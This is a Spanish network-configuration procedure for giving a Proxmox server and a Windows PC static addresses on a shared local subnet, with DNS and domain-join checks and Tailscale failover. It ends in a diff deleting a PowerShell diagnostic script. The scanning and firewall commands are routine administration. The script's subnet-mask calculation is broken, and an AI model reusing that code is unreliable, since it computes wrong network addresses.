# Escanear dispositivos en la subred local
echo "=== Dispositivos en subred local (primeros 5) ==="
nmap -sn $SUBNET 2>/dev/null | grep "Nmap scan report" | head -5 || \
echo "Instale nmap para escaneo completo: sudo apt install nmap"
fi
else
echo "⚠️ No se detectó gateway predeterminado"
echo "Verifique conectividad física y configuración DHCP"
fi
# Verificar si hay IP local ya configurada
echo "=== IPs locales configuradas ==="
ip addr show vmbr0 | grep -E "inet (192\.168|10\.0\.0|172\.(1[6-9]|2[0-9]|3[0-1]))"
```
**Salida Esperada**:
- Subred local identificada (ej: 192.168.1.0/24, 10.0.0.0/24)
- Gateway del router ISP
- Rango de IPs disponibles en la subred
- Dispositivos detectados en la red local
- Confirmación de que srv-dasu y pc-dasu0 están en la misma subred física
**Registro de Diagnóstico**:
```bash
# Crear archivo de diagnóstico
sudo tee /tmp/red-local-diagnostico-$(date +%Y%m%d).txt << EOF
=== DIAGNÓSTICO DE RED LOCAL ===
Fecha: $(date)
Hostname: $(hostname)
CONFIGURACIÓN ACTUAL:
$(ip addr show vmbr0)
TABLA DE RUTAS:
$(ip route show)
GATEWAY DETECTADO: $GATEWAY
SUBRED DETECTADA: $SUBNET
DISPOSITIVOS EN RED (si se escaneó):
$(nmap -sn $SUBNET 2>/dev/null | grep "Nmap scan report" | head -10)
RECOMENDACIÓN DE IP LOCAL:
# Usar IP fuera del rango DHCP del router
# Ejemplo: Si router asigna 192.168.1.100-200
# Usar: 192.168.1.205 para srv-dasu
# Usar: 192.168.1.100 para pc-dasu0 (si está disponible)
EOF
```
### 3.2 Paso 2: Configuración de IP Local en srv-dasu
**Objetivo**: Asignar IP estática en subred local manteniendo configuración existente.
**Procedimiento en srv-dasu:**
```bash
# 1. Backup de configuración actual
sudo cp /etc/network/interfaces /etc/network/interfaces.backup.$(date +%Y%m%d)
# 2. Editar configuración de red
sudo nano /etc/network/interfaces
```
**Configuración Recomendada** (adaptar según subred local detectada):
```bash
# Configuración actual de vmbr0 (mantener)
auto vmbr0
iface vmbr0 inet dhcp
bridge-ports enp3s0
bridge-stp off
bridge-fd 0
# Red interna para VMs (mantener)
post-up ip addr add 10.0.100.1/24 dev vmbr0
pre-down ip addr del 10.0.100.1/24 dev vmbr0
# IP estática local (agregar - adaptar según subred)
post-up ip addr add 192.168.1.205/24 dev vmbr0
pre-down ip addr del 192.168.1.205/24 dev vmbr0
```
**Aplicar cambios:**
```bash
# 3. Reiniciar servicio de red
sudo systemctl restart networking
# 4. Verificar configuración
ip addr show vmbr0
# Debe mostrar:
# - IP DHCP (de la red facultad si está conectado)
# - 10.0.100.1/24 (red interna VMs)
# - 192.168.1.205/24 (IP local)
# 5. Probar conectividad local
ping -c 4 192.168.1.1 # Gateway del router
```
### 3.3 Paso 3: Configuración de IP Local en pc-dasu0
**Objetivo**: Configurar IP estática en pc-dasu0 en misma subred.
**Procedimiento en pc-dasu0 (Windows):**
```powershell
# 1. Abrir configuración de red
ncpa.cpl
# 2. Propiedades del adaptador Ethernet -> IPv4
# Configurar:
# - IP: 192.168.1.100 (ejemplo, usar IP disponible)
# - Máscara: 255.255.255.0
# - Gateway: 192.168.1.1 (router ISP)
# - DNS Primario: 10.0.100.10 (dc-dasuten via ruta local)
# - DNS Secundario: 8.8.8.8
# 3. Aplicar cambios
```
**Alternativa via PowerShell (remoto):**
```powershell
# Si se tiene acceso remoto via Tailscale
$adapter = Get-NetAdapter -Name "Ethernet"
New-NetIPAddress -InterfaceIndex $adapter.ifIndex `
-IPAddress 192.168.1.100 `
-PrefixLength 24 `
-DefaultGateway 192.168.1.1
Set-DnsClientServerAddress -InterfaceIndex $adapter.ifIndex `
-ServerAddresses ("10.0.100.10", "8.8.8.8")
```
### 3.4 Paso 4: Pruebas de Conectividad Básica
**Objetivo**: Validar comunicación bidireccional.
**Desde pc-dasu0:**
```powershell
# Probar conectividad a srv-dasu
ping 192.168.1.205
ping 10.0.100.1 # Gateway interno VMs
# Probar conectividad a dc-dasuten (via srv-dasu)
ping 10.0.100.10
# Verificar ruta
tracert 10.0.100.10
# Debe mostrar: pc-dasu0 -> router -> srv-dasu -> dc-dasuten
```
**Desde srv-dasu:**
```bash
# Probar conectividad a pc-dasu0
ping -c 4 192.168.1.100
# Verificar que VMs pueden comunicarse
ping -c 4 10.0.100.10 # dc-dasuten
```
### 3.5 Paso 5: Configuración de DNS Local
**Objetivo**: Configurar resolución DNS directa al controlador de dominio.
**En pc-dasu0:**
```powershell
# Verificar resolución DNS
nslookup dc-dasuten.dasuten.utnlr
# Debe resolver a 10.0.100.10
# Probar resolución inversa
nslookup 10.0.100.10
# Debe resolver a dc-dasuten.dasuten.utnlr
# Verificar registro en DNS del dominio
nslookup -type=SRV _ldap._tcp.dasuten.utnlr
```
**Configuración de Suffix DNS (si es necesario):**
```powershell
# Agregar suffix DNS al adaptador
Set-DnsClientGlobalSetting -SuffixSearchList @("dasuten.utnlr")
```
### 3.6 Paso 6: Validación de AD-Join
**Objetivo**: Probar funcionalidad de unión al dominio.
**Pruebas preliminares:**
```powershell
# 1. Verificar que se puede alcanzar el dominio
Test-Connection dc-dasuten.dasuten.utnlr -Count 4
# 2. Probar autenticación (sin unir aún)
Test-ComputerSecureChannel -Server dc-dasuten.dasuten.utnlr
# 3. Verificar puertos LDAP/Kerberos
Test-NetConnection dc-dasuten.dasuten.utnlr -Port 389 # LDAP
Test-NetConnection dc-dasuten.dasuten.utnlr -Port 88 # Kerberos
Test-NetConnection dc-dasuten.dasuten.utnlr -Port 445 # SMB
```
**Procedimiento de unión al dominio (si aplica):**
```powershell
# Unir al dominio (solo si es necesario)
Add-Computer -DomainName "dasuten.utnlr" `
-Credential (Get-Credential) `
-Restart
```
### 3.7 Paso 7: Configuración de Failover Tailscale
**Objetivo**: Mantener Tailscale como ruta de respaldo.
**Verificar estado Tailscale:**
```bash
# En srv-dasu
tailscale status
# Debe mostrar: 100.116.210.36
# En pc-dasu0 (via PowerShell)
tailscale status
# Debe mostrar: 100.65.62.44
```
**Configurar métricas de ruta (en srv-dasu):**
```bash
# Verificar rutas actuales
ip route show
# Tailscale debe tener métrica más alta (menos preferida)
# La ruta local (192.168.1.0/24) debe tener métrica más baja
```
**Script de monitoreo de conectividad:**
```bash
#!/bin/bash
# /usr/local/bin/check-local-connectivity.sh
LOCAL_IP="192.168.1.100"
TAILSCALE_IP="100.65.62.44"
if ping -c 2 -W 1 $LOCAL_IP > /dev/null 2>&1; then
echo "✅ Conectividad LOCAL activa"
exit 0
else
echo "⚠️ Fallo conectividad local, usando Tailscale"
# Aquí se podrían activar reglas de failover
exit 1
fi
```
### 3.8 Paso 8: Scripts de Validación Automática
**Crear script de validación completo:**
**Script para srv-dasu (`/usr/local/bin/validate-local-network.sh`):**
*Nota: También disponible en `docs/procedimientos/scripts/diagnostico_red_local.sh`*
```bash
#!/bin/bash
# Script de validación de red local
LOG_FILE="/var/log/local-network-validation.log"
echo "=== Validación de Red Local $(date) ===" | tee -a $LOG_FILE
# 1. Verificar IPs locales
echo "1. Verificando IPs configuradas..." | tee -a $LOG_FILE
ip addr show vmbr0 | grep -E "192\.168\.1|10\.0\.100\.1" | tee -a $LOG_FILE
# 2. Probar conectividad a pc-dasu0
echo "2. Probando conectividad a pc-dasu0..." | tee -a $LOG_FILE
if ping -c 3 -W 2 192.168.1.100 > /dev/null 2>&1; then
echo "✅ Ping exitoso a pc-dasu0" | tee -a $LOG_FILE
else
echo "❌ Fallo ping a pc-dasu0" | tee -a $LOG_FILE
fi
# 3. Verificar rutas
echo "3. Verificando tabla de rutas..." | tee -a $LOG_FILE
ip route show | grep -E "192\.168\.1|10\.0\.100" | tee -a $LOG_FILE
# 4. Verificar estado Tailscale
echo "4. Verificando estado Tailscale..." | tee -a $LOG_FILE
tailscale status --json | jq -r '.Self.TailscaleIPs[0]' | tee -a $LOG_FILE
echo "=== Validación completada ===" | tee -a $LOG_FILE
```
**Script para pc-dasu0 (`C:\Scripts\Validate-LocalNetwork.ps1`):**
*Nota: También disponible en `docs/procedimientos/scripts/Diagnose-LocalNetwork.ps1`*
```powershell
# Script de validación para Windows
$LogFile = "C:\Logs\LocalNetwork-Validation.log"
$LocalIP = "192.168.1.205" # srv-dasu
$DomainController = "10.0.100.10"
"=== Validación de Red Local $(Get-Date) ===" | Out-File -FilePath $LogFile -Append
# 1. Verificar IP local
"1. Configuración IP local:" | Out-File -FilePath $LogFile -Append
Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.IPAddress -like "192.168.1.*"} |
Select-Object IPAddress, PrefixLength | Out-File -FilePath $LogFile -Append
# 2. Probar conectividad
"2. Probando conectividad:" | Out-File -FilePath $LogFile -Append
if (Test-Connection -ComputerName $LocalIP -Count 2 -Quiet) {
"✅ Conectividad local OK" | Out-File -FilePath $LogFile -Append
} else {
"❌ Fallo conectividad local" | Out-File -FilePath $LogFile -Append
}
# 3. Verificar DNS
"3. Verificando resolución DNS:" | Out-File -FilePath $LogFile -Append
try {
$DnsResult = Resolve-DnsName -Name "dc-dasuten.dasuten.utnlr" -ErrorAction Stop
"✅ DNS resuelve: $($DnsResult.IPAddress)" | Out-File -FilePath $LogFile -Append
} catch {
"❌ Fallo resolución DNS" | Out-File -FilePath $LogFile -Append
}
# 4. Verificar puertos críticos
"4. Verificando puertos del dominio:" | Out-File -FilePath $LogFile -Append
$Ports = @(389, 88, 445, 53)
foreach ($Port in $Ports) {
$Test = Test-NetConnection -ComputerName $DomainController -Port $Port -WarningAction SilentlyContinue
if ($Test.TcpTestSucceeded) {
"✅ Puerto $Port abierto" | Out-File -FilePath $LogFile -Append
} else {
"❌ Puerto $Port cerrado" | Out-File -FilePath $LogFile -Append
}
}
```
## 4. Verificación y Validación
- [ ] Ping bidireccional exitoso entre `pc-dasu0` (192.168.1.100) y `srv-dasu` (192.168.1.205)
- [ ] Resolución DNS de `dc-dasuten.dasuten.utnlr` a `10.0.100.10`
- [ ] Conexión LDAP/Kerberos al controlador de dominio
- [ ] Tailscale operativo como respaldo (IPs: 100.116.210.36 y 100.65.62.44)
- [ ] Scripts de validación ejecutados sin errores críticos
- **Resultado Esperado**: ✅ Comunicación local establecida con latencia <5ms, failover Tailscale configurado, capacidad de AD-Join verificada
## 5. Plan de Reversión (Hombre Muerto)
> [!IMPORTANT]
> En caso de fallo crítico o pérdida de conectividad, seguir estos pasos inmediatamente.
1. **Gatillo de Reversión**:
- Error en paso 4 (fallo ping bidireccional tras 3 intentos)
- Pérdida completa de conectividad a internet
- Incapacidad para acceder a recursos críticos por más de 5 minutos
2. **Acciones de Reversión**:
- **En pc-dasu0**: Restaurar configuración DHCP automática
```powershell
Set-NetIPInterface -Dhcp Enabled
Set-DnsClientServerAddress -ResetServerAddresses
```
- **En srv-dasu**: Remover IP local manteniendo configuración base
```bash
sudo ip addr del 192.168.1.205/24 dev vmbr0
sudo systemctl restart networking
```
- **Forzar uso de Tailscale**: Verificar que ambas máquinas están conectadas a Tailscale
```bash
# En srv-dasu
tailscale up --reset
# En pc-dasu0 (via PowerShell si hay acceso)
tailscale up --reset
```
3. **Verificación post-reversión**:
- Confirmar conectividad via Tailscale entre nodos
- Verificar que servicios críticos (dc-dasuten) son accesibles
- Documentar incidente y causas raíz identificadas
---
## 6. Anexos Técnicos
### Anexo 0: Scripts de Diagnóstico Automático
**Scripts disponibles en `docs/procedimientos/scripts/`:**
1. **`diagnostico_red_local.sh`** (para srv-dasu - Linux):
```bash
# Copiar y hacer ejecutable
sudo cp docs/procedimientos/scripts/diagnostico_red_local.sh /usr/local/bin/
sudo chmod +x /usr/local/bin/diagnostico_red_local.sh
# Ejecutar diagnóstico
sudo diagnostico_red_local.sh vmbr0
```
2. **`Diagnose-LocalNetwork.ps1`** (para pc-dasu0 - Windows PowerShell):
```powershell
# Ejecutar como administrador
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
.\docs\procedimientos\scripts\Diagnose-LocalNetwork.ps1 -Detailed $true
```
**Características de los scripts:**
- Diagnóstico automático de topología de red
- Detección de subred local y gateway
- Verificación de conectividad a recursos críticos
- Validación de configuración DNS
- Comprobación de estado Tailscale
- Generación de reportes detallados
- Recomendaciones específicas para configuración local
### Anexo A: Configuración de Red de Referencia
**Topología Final Objetivo**:
```
Router ISP (Oficina DASUTeN)
├── Subred Local: 192.168.1.0/24
│ ├── srv-dasu: 192.168.1.205/24 (IP local) + 10.0.100.1/24 (gateway VMs)
│ └── pc-dasu0: 192.168.1.100/24
└── Conexión WAN a Internet
└── Tailscale VPN (Failover)
├── srv-dasu: 100.116.210.36
└── pc-dasu0: 100.65.62.44
```
**Tabla de IPs Críticas**:
| Nodo | IP Local | IP Tailscale | IP Interna VMs | Propósito |
| :--- | :--- | :--- | :--- | :--- |
| srv-dasu | 192.168.1.205 | 100.116.210.36 | 10.0.100.1 | Hypervisor Proxmox |
| pc-dasu0 | 192.168.1.100 | 100.65.62.44 | - | PC física cliente |
| dc-dasuten | - | - | 10.0.100.10 | Controlador de Dominio |
| sql-dasuten | - | - | 10.0.100.11 | SQL Server |
### Anexo B: Comandos de Diagnóstico Rápido
**Diagnóstico de Conectividad Local**:
```bash
# Desde srv-dasu
ping -c 4 192.168.1.100
traceroute 192.168.1.100
ss -tulpn | grep :22 # Verificar SSH
# Desde pc-dasu0 (PowerShell)
Test-NetConnection 192.168.1.205 -Port 22
Test-NetConnection 10.0.100.10 -Port 389
Resolve-DnsName dc-dasuten.dasuten.utnlr
```
**Diagnóstico de Rutas**:
```bash
# En srv-dasu
ip route show
ip rule show
tailscale status --json | jq '.Self.TailscaleIPs'
# En pc-dasu0
route print
Get-NetRoute -AddressFamily IPv4
```
### Anexo C: Script de Monitoreo Automático
**Script para crontab (srv-dasu)**:
```bash
#!/bin/bash
# /usr/local/bin/monitor-local-network.sh
LOCAL_PC="192.168.1.100"
TAILSCALE_PC="100.65.62.44"
LOG="/var/log/network-monitor.log"
ALERT_THRESHOLD=3
check_connectivity() {
local target=$1
local type=$2
if ping -c 2 -W 1 "$target" > /dev/null 2>&1; then
echo "$(date): ✅ $type conectividad OK a $target" >> "$LOG"
return 0
else
echo "$(date): ⚠️ $type conectividad FALLIDA a $target" >> "$LOG"
return 1
fi
}
# Monitoreo principal
if check_connectivity "$LOCAL_PC" "LOCAL"; then
# Conectividad local OK
exit 0
else
# Fallo local, verificar Tailscale
if check_connectivity "$TAILSCALE_PC" "TAILSCALE"; then
echo "$(date): 🔄 Cambiando a ruta Tailscale" >> "$LOG"
# Aquí se podrían activar reglas de failover automático
else
echo "$(date): 🚨 FALLO CRÍTICO - Sin conectividad local ni Tailscale" >> "$LOG"
# Notificación de alerta
fi
fi
```
**Configurar en crontab**:
```bash
# Ejecutar cada 5 minutos
*/5 * * * * /usr/local/bin/monitor-local-network.sh
```
### Anexo D: Solución de Problemas Comunes
**Problema 1: No hay respuesta de ping entre dispositivos**
- **Causas posibles**: Firewall bloqueando ICMP, subred incorrecta, VLANs
- **Solución**:
```bash
# En srv-dasu
sudo iptables -I INPUT -s 192.168.1.0/24 -j ACCEPT
sudo iptables -I OUTPUT -d 192.168.1.0/24 -j ACCEPT
# En pc-dasu0 (PowerShell como Admin)
New-NetFirewallRule -DisplayName "Allow-Local-ICMP" `
-Direction Inbound -Protocol ICMPv4 -IcmpType 8 `
-RemoteAddress 192.168.1.0/24 -Action Allow
```
**Problema 2: DNS no resuelve dc-dasuten**
- **Causas posibles**: Ruta no configurada, firewall bloqueando puerto 53
- **Solución**:
```powershell
# Verificar que la ruta existe
Test-NetConnection 10.0.100.10 -Port 53
# Forzar registro DNS
ipconfig /flushdns
ipconfig /registerdns
# Probar con nslookup especificando servidor
nslookup dc-dasuten.dasuten.utnlr 10.0.100.10
```
**Problema 3: Conflictos de IP**
- **Causas posibles**: IP duplicada en la red
- **Solución**:
```bash
# En srv-dasu
sudo arping -c 3 -I vmbr0 192.168.1.205
# Si hay respuesta, cambiar IP
sudo ip addr del 192.168.1.205/24 dev vmbr0
sudo ip addr add 192.168.1.206/24 dev vmbr0
```
### Anexo E: Checklist de Implementación
**Pre-Implementación**:
- [ ] Backup de configuraciones de red actuales
- [ ] Documentar IPs actuales de todos los dispositivos
- [ ] Verificar que Tailscale está operativo en ambos nodos
- [ ] Comunicar ventana de mantenimiento a usuarios afectados
**Implementación**:
- [ ] Configurar IP local en srv-dasu (Paso 2)
- [ ] Configurar IP local en pc-dasu0 (Paso 3)
- [ ] Validar conectividad básica (Paso 4)
- [ ] Configurar DNS (Paso 5)
- [ ] Validar AD-Join (Paso 6)
- [ ] Configurar failover Tailscale (Paso 7)
- [ ] Instalar scripts de validación (Paso 8)
**Post-Implementación**:
- [ ] Ejecutar scripts de validación completos
- [ ] Documentar configuración final
- [ ] Probar failover manualmente
- [ ] Monitorear durante 24 horas
---
## 7. Referencias
1. **Documentación Relacionada**:
- [Plan P2601_6.1.B - AD-Join: pc-dasu0 al Dominio](../plan/P2601_6.1.B%20-%20AD-Join:%20pc-dasu0%20al%20Dominio.md)
- [Nodo srv-dasu](../../nodos/srv-dasu.md)
- [Nodo pc-dasu0](../../nodos/pc-dasu0.md)
- [ADN 03 - Seguridad y Red](../../adn/03_seguridad.md)
2. **Scripts de Soporte**:
- `docs/procedimientos/scripts/diagnostico_red_local.sh` - Diagnóstico Linux
- `docs/procedimientos/scripts/Diagnose-LocalNetwork.ps1` - Diagnóstico Windows
- Scripts de validación incluidos en este documento
3. **Herramientas Utilizadas**:
- Tailscale: VPN mesh para failover
- OpenSSH: Administración remota de srv-dasu
- PowerShell: Automatización en Windows
- iptables/nftables: Gestión de firewall en Linux
4. **Estándares de Red**:
- RFC 1918: Direccionamiento IP privado
- Best Practices para redes híbridas
- Protocolos AD DS: LDAP (389), Kerberos (88), DNS (53)
---
*Documento generado bajo el ADN del proyecto srv-ns8.*
*Última actualización: $(date +%Y-%m-%d)*
*Versión: 1.0*
docs/proy/P2601_Dasuten/proc/scripts/Diagnose-LocalNetwork.ps1
-399
View File
@@ -1,399 +0,0 @@
# Script de diagnóstico de red local para pc-dasu0
# Uso: .\Diagnose-LocalNetwork.ps1 [-InterfaceAlias "Ethernet"] [-Detailed $true]
param(
[string]$InterfaceAlias = "Ethernet",
[bool]$Detailed = $true,
[string]$LogPath = "C:\Logs\NetworkDiagnostic"
)
# Configuración inicial
$ErrorActionPreference = "Stop"
$Timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
$LogFile = Join-Path $LogPath "NetworkDiagnostic_$Timestamp.log"
$ReportFile = Join-Path $LogPath "NetworkReport_$Timestamp.md"
# Crear directorio de logs si no existe
if (-not (Test-Path $LogPath)) {
New-Item -ItemType Directory -Path $LogPath -Force | Out-Null
}
# Funciones de logging
function Write-Log {
param([string]$Message, [string]$Level = "INFO")
$FormattedMessage = "[$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')] [$Level] $Message"
switch ($Level) {
"ERROR" { Write-Host $FormattedMessage -ForegroundColor Red }
"WARNING" { Write-Host $FormattedMessage -ForegroundColor Yellow }
"SUCCESS" { Write-Host $FormattedMessage -ForegroundColor Green }
default { Write-Host $FormattedMessage -ForegroundColor Cyan }
}
$FormattedMessage | Out-File -FilePath $LogFile -Append
}
function Write-Report {
param([string]$Content)
$Content | Out-File -FilePath $ReportFile -Append
}
function Test-Command {
param([string]$Command)
try {
Get-Command $Command -ErrorAction Stop | Out-Null
return $true
} catch {
return $false
}
}
# Inicio del diagnóstico
Write-Log "========================================"
Write-Log " DIAGNÓSTICO DE RED LOCAL - pc-dasu0"
Write-Log "========================================"
Write-Log ""
Write-Report "# Reporte de Diagnóstico de Red Local"
Write-Report "Fecha: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')"
Write-Report "Hostname: $env:COMPUTERNAME"
Write-Report "Usuario: $env:USERNAME"
Write-Report ""
# 1. Verificar adaptador de red
Write-Log "1. Verificando adaptador de red '$InterfaceAlias'..."
Write-Report "## 1. Información del Adaptador de Red"
try {
$NetworkAdapter = Get-NetAdapter -Name $InterfaceAlias -ErrorAction Stop
Write-Log " Adaptador encontrado: $($NetworkAdapter.Name)"
Write-Log " Estado: $($NetworkAdapter.Status)"
Write-Log " Velocidad: $($NetworkAdapter.LinkSpeed)"
Write-Report "### Adaptador: $($NetworkAdapter.Name)"
Write-Report "- Estado: $($NetworkAdapter.Status)"
Write-Report "- Velocidad: $($NetworkAdapter.LinkSpeed)"
Write-Report "- MAC Address: $($NetworkAdapter.MacAddress)"
Write-Report "- Interface Description: $($NetworkAdapter.InterfaceDescription)"
Write-Report ""
if ($NetworkAdapter.Status -ne "Up") {
Write-Log " ADVERTENCIA: El adaptador no está activo" -Level "WARNING"
}
} catch {
Write-Log " ERROR: No se encontró el adaptador '$InterfaceAlias'" -Level "ERROR"
Write-Log " Adaptadores disponibles:"
Get-NetAdapter | ForEach-Object {
Write-Log " - $($_.Name): $($_.Status)"
}
Write-Report "ERROR: Adaptador '$InterfaceAlias' no encontrado"
exit 1
}
# 2. Obtener configuración IP
Write-Log "2. Obteniendo configuración IP..."
Write-Report "## 2. Configuración IP"
try {
$IPConfiguration = Get-NetIPConfiguration -InterfaceAlias $InterfaceAlias -ErrorAction Stop
Write-Log " IPv4 Address: $($IPConfiguration.IPv4Address.IPAddress)"
Write-Log " Subnet Mask: $($IPConfiguration.IPv4Address.PrefixLength)"
Write-Log " Gateway: $($IPConfiguration.IPv4DefaultGateway.NextHop)"
Write-Report "### Configuración IPv4"
Write-Report "- Dirección IP: $($IPConfiguration.IPv4Address.IPAddress)"
Write-Report "- Prefijo: /$($IPConfiguration.IPv4Address.PrefixLength)"
Write-Report "- Gateway: $($IPConfiguration.IPv4DefaultGateway.NextHop)"
Write-Report ""
# Calcular subred
$IPAddress = $IPConfiguration.IPv4Address.IPAddress
$PrefixLength = $IPConfiguration.IPv4Address.PrefixLength
$SubnetMask = [System.Net.IPAddress]::Parse(([System.Net.IPAddress]::Parse("255.255.255.255").GetAddressBytes() |
ForEach-Object { $_ -shl (32 - $PrefixLength) }))
$NetworkAddress = [System.Net.IPAddress]::new((
[System.Net.IPAddress]::Parse($IPAddress).GetAddressBytes() |
ForEach-Object { $_ -band $SubnetMask.GetAddressBytes()[$i]; $i++ }))
$Subnet = "$NetworkAddress/$PrefixLength"
Write-Log " Subred calculada: $Subnet"
Write-Report "- Subred: $Subnet"
Write-Report ""
# Servidores DNS
Write-Log " Servidores DNS:"
$DNSServers = $IPConfiguration.DNSServer.ServerAddresses
if ($DNSServers) {
$i = 1
foreach ($DNS in $DNSServers) {
Write-Log " $i. $DNS"
Write-Report "- DNS $($i): $DNS"
$i++
}
} else {
Write-Log " ADVERTENCIA: No hay servidores DNS configurados" -Level "WARNING"
Write-Report "- DNS: No configurado"
}
Write-Report ""
} catch {
Write-Log " ERROR: No se pudo obtener configuración IP" -Level "ERROR"
Write-Report "ERROR: No se pudo obtener configuración IP"
}
# 3. Probar conectividad
Write-Log "3. Probando conectividad de red..."
Write-Report "## 3. Pruebas de Conectividad"
# Gateway
$Gateway = $IPConfiguration.IPv4DefaultGateway.NextHop
if ($Gateway) {
Write-Log " Probando gateway $Gateway..."
$GatewayTest = Test-NetConnection -ComputerName $Gateway -InformationLevel Quiet
if ($GatewayTest) {
Write-Log " ✅ Gateway alcanzable" -Level "SUCCESS"
Write-Report "- Gateway ($Gateway): ✅ Alcanzable"
} else {
Write-Log " ❌ Gateway no alcanzable" -Level "ERROR"
Write-Report "- Gateway ($Gateway): ❌ No alcanzable"
}
} else {
Write-Log " ADVERTENCIA: No hay gateway configurado" -Level "WARNING"
Write-Report "- Gateway: No configurado"
}
# Internet
Write-Log " Probando conectividad a internet (8.8.8.8)..."
$InternetTest = Test-NetConnection -ComputerName "8.8.8.8" -InformationLevel Quiet -WarningAction SilentlyContinue
if ($InternetTest) {
Write-Log " ✅ Internet alcanzable" -Level "SUCCESS"
Write-Report "- Internet (8.8.8.8): ✅ Alcanzable"
} else {
Write-Log " ❌ Internet no alcanzable" -Level "ERROR"
Write-Report "- Internet (8.8.8.8): ❌ No alcanzable"
}
# srv-dasu (si se conoce la IP)
Write-Log " Probando conectividad a srv-dasu (192.168.1.205)..."
$SrvDasuTest = Test-NetConnection -ComputerName "192.168.1.205" -InformationLevel Quiet -WarningAction SilentlyContinue
if ($SrvDasuTest) {
Write-Log " ✅ srv-dasu alcanzable localmente" -Level "SUCCESS"
Write-Report "- srv-dasu (192.168.1.205): ✅ Alcanzable"
} else {
Write-Log " ⚠️ srv-dasu no alcanzable localmente" -Level "WARNING"
Write-Report "- srv-dasu (192.168.1.205): ⚠️ No alcanzable"
}
Write-Report ""
# 4. Verificar DNS
Write-Log "4. Verificando resolución DNS..."
Write-Report "## 4. Pruebas de DNS"
# Resolución de dominio DASUTEN
Write-Log " Probando resolución de dc-dasuten.dasuten.utnlr..."
try {
$DNSResult = Resolve-DnsName -Name "dc-dasuten.dasuten.utnlr" -ErrorAction Stop
if ($DNSResult.IPAddress) {
Write-Log " ✅ DNS resuelve a: $($DNSResult.IPAddress)" -Level "SUCCESS"
Write-Report "- dc-dasuten.dasuten.utnlr: ✅ $($DNSResult.IPAddress)"
} else {
Write-Log " ❌ DNS no devolvió IP" -Level "ERROR"
Write-Report "- dc-dasuten.dasuten.utnlr: ❌ Sin respuesta"
}
} catch {
Write-Log " ❌ Error en resolución DNS: $_" -Level "ERROR"
Write-Report "- dc-dasuten.dasuten.utnlr: ❌ Error: $_"
}
# Resolución inversa
Write-Log " Probando resolución inversa de 10.0.100.10..."
try {
$ReverseDNS = Resolve-DnsName -Name "10.0.100.10" -Type PTR -ErrorAction Stop
if ($ReverseDNS.NameHost) {
Write-Log " ✅ Resolución inversa: $($ReverseDNS.NameHost)" -Level "SUCCESS"
Write-Report "- 10.0.100.10 (PTR): ✅ $($ReverseDNS.NameHost)"
}
} catch {
Write-Log " ⚠️ No se pudo resolver PTR para 10.0.100.10" -Level "WARNING"
Write-Report "- 10.0.100.10 (PTR): ⚠️ No resuelto"
}
Write-Report ""
# 5. Verificar puertos críticos del dominio
Write-Log "5. Verificando puertos críticos del dominio..."
Write-Report "## 5. Puertos del Dominio DASUTEN"
$DomainController = "10.0.100.10"
$CriticalPorts = @(
@{Port=389; Service="LDAP"},
@{Port=88; Service="Kerberos"},
@{Port=445; Service="SMB"},
@{Port=53; Service="DNS"},
@{Port=135; Service="RPC"},
@{Port=636; Service="LDAPS"}
)
foreach ($PortInfo in $CriticalPorts) {
Write-Log " Probando puerto $($PortInfo.Port) ($($PortInfo.Service))..."
$PortTest = Test-NetConnection -ComputerName $DomainController -Port $PortInfo.Port -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
if ($PortTest.TcpTestSucceeded) {
Write-Log " ✅ Puerto $($PortInfo.Port) abierto" -Level "SUCCESS"
Write-Report "- $($PortInfo.Service) (puerto $($PortInfo.Port)): ✅ Abierto"
} else {
Write-Log " ❌ Puerto $($PortInfo.Port) cerrado" -Level "ERROR"
Write-Report "- $($PortInfo.Service) (puerto $($PortInfo.Port)): ❌ Cerrado"
}
}
Write-Report ""
# 6. Verificar Tailscale
Write-Log "6. Verificando estado de Tailscale..."
Write-Report "## 6. Estado de Tailscale"
if (Test-Command "tailscale") {
try {
$TailscaleStatus = & tailscale status --json 2>$null | ConvertFrom-Json
if ($TailscaleStatus.Self.TailscaleIPs) {
$TailscaleIP = $TailscaleStatus.Self.TailscaleIPs[0]
Write-Log " ✅ Tailscale conectado: $TailscaleIP" -Level "SUCCESS"
Write-Report "- Estado: ✅ Conectado"
Write-Report "- IP Tailscale: $TailscaleIP"
# Verificar peers
$PeerCount = ($TailscaleStatus.Peer | Measure-Object).Count
Write-Log " Peers conectados: $PeerCount"
Write-Report "- Peers conectados: $PeerCount"
} else {
Write-Log " ⚠️ Tailscale instalado pero no conectado" -Level "WARNING"
Write-Report "- Estado: ⚠️ Instalado pero no conectado"
}
} catch {
Write-Log " ⚠️ No se pudo obtener estado de Tailscale" -Level "WARNING"
Write-Report "- Estado: ⚠️ Error al obtener estado"
}
} else {
Write-Log " ⚠️ Tailscale no está instalado" -Level "WARNING"
Write-Report "- Estado: ⚠️ No instalado"
}
Write-Report ""
# 7. Escanear red local (opcional)
if ($Detailed) {
Write-Log "7. Escaneando dispositivos en red local..."
Write-Report "## 7. Dispositivos en Red Local"
try {
# Usar ARP para detectar dispositivos
$ARPTable = arp -a | Select-String "dynamic" | ForEach-Object {
$Line = $_.ToString().Trim()
$Parts = $Line -split '\s+'
[PSCustomObject]@{
IP = $Parts[0]
MAC = $Parts[1]
Type = $Parts[2]
}
}
$DeviceCount = ($ARPTable | Measure-Object).Count
Write-Log " Dispositivos detectados en ARP: $DeviceCount"
Write-Report "- Dispositivos en tabla ARP: $DeviceCount"
if ($DeviceCount -gt 0) {
Write-Report ""
Write-Report "### Primeros 10 dispositivos:"
$ARPTable | Select-Object -First 10 | ForEach-Object {
Write-Report "- $($_.IP) ($($_.MAC))"
}
}
} catch {
Write-Log " ⚠️ No se pudo escanear red local" -Level "WARNING"
Write-Report "- Escaneo: ⚠️ No disponible"
}
Write-Report ""
}
# 8. Generar recomendaciones
Write-Log "8. Generando recomendaciones..."
Write-Report "## 8. Recomendaciones para Comunicación Local"
$BaseNetwork = $IPAddress -replace '\.\d+$', ''
$RecommendedSrvIP = "$BaseNetwork.205"
$RecommendedPcIP = "$BaseNetwork.100"
Write-Report "### Configuración recomendada para comunicación local:"
Write-Report ""
Write-Report "1. **IPs estáticas locales:**"
Write-Report " - srv-dasu: $RecommendedSrvIP/24"
Write-Report " - pc-dasu0: $RecommendedPcIP/24"
Write-Report ""
Write-Report "2. **Configuración de red en pc-dasu0:**"
Write-Report " - IP: $RecommendedPcIP"
